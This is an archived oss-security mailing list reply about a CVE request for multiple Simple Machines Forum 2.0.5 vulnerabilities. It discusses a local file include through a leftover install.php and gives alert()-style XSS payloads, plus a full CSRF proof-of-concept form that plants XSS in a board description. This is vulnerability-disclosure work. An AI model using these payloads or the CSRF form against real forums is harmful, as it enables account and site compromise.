Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Tue, 24 Sep 2013 19:17:35 +0300
From: Henri Salo <>
Cc: Moritz Naumann <>,
Subject: Re: CVE request: Simple Machines Forum (SMF) <= 2.0.5
 - multiple vulnerabilities

On Mon, Sep 16, 2013 at 07:23:52PM -0600, Kurt Seifried wrote:
> Can you provide a summary of the diff? thanks.

Upstream is CCd so they can and should reply in case I made errors in this email.

Could not reproduce this issue:

Multiple XSS issues in fixed in ./Sources/ManageServer.php by changing
addslashes to preg_replace. I don't know who reported these or if these fixes
are related to vulnerabilities listed below.


First of all, let's check a local file include vulnerability. If admin will not
delete the install.php file after installation, attacker is able to run command
and compromise the server. Idea is simple. User who is able to put php-file
(with webshell) at SMF-installed-server, can exploit a require_once() function
to get a shell at remote host.

No CVE as per installation requests user to delete install.php and offers easy
way to do it in the installation process. Please comment if you feel otherwise.
Did not try to reproduce this issue. Probably not the only issue if user does
not delete install.php file.

XSS in index.php?action=admin;area=manageboards;sa=newboard;cat=1 "board_name"
Requires admin account
PoC: "><BODY ONLOAD=alert('XSS')>
Verified in 2.0.4
Not fixed in 2.0.5

SMF guys, this CSRF should help to verify this issue. Can you fix this in next
release? Contact me in case you need help.

    <form action=";area=manageboards;sa=board2" method="POST">
      <input type="hidden" name="boardid" value="0" />
      <input type="hidden" name="new&#95;cat" value="0" />
      <input type="hidden" name="placement" value="after" />
      <input type="hidden" name="board&#95;order" value="1" />
      <input type="hidden" name="board&#95;name" value="New&#32;Board" />
      <input type="hidden" name="desc" value="&quot;&gt;&lt;BODY&#32;ONLOAD&#61;alert&#40;&apos;XSS&apos;&#41;&gt;" />
      <input type="hidden" name="profile" value="1" />
      <input type="hidden" name="groups&#91;&#93;" value="&#45;1" />
      <input type="hidden" name="groups&#91;&#93;" value="0" />
      <input type="hidden" name="groups&#91;&#93;" value="2" />
      <input type="hidden" name="dummy&#95;834674" value="" />
      <input type="hidden" name="redirect&#95;address" value="" />
      <input type="hidden" name="count" value="on" />
      <input type="hidden" name="boardtheme" value="0" />
      <input type="hidden" name="rid" value="boards" />
      <input type="hidden" name="e2b8c5b3437" value="bdcc798a0a86fa141da538f7c3a6ec42" />
      <input type="hidden" name="no&#95;children" value="1" />
      <input type="hidden" name="cur&#95;cat" value="1" />
      <input type="hidden" name="add" value="Add&#32;Board" />
      <input type="hidden" name="moderators" value="" />
      <input type="submit" value="Submit form" />

XSS in index.php?action=pm;sa=settings;save "sa"
Requires registed user account
POST PoC: "><img/src="x"/onerror="alert(123)"><
Verified in 2.0.4
Fixed in 2.0.5

Henri Salo

Download attachment "signature.asc" of type "application/pgp-signature" (199 bytes)

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.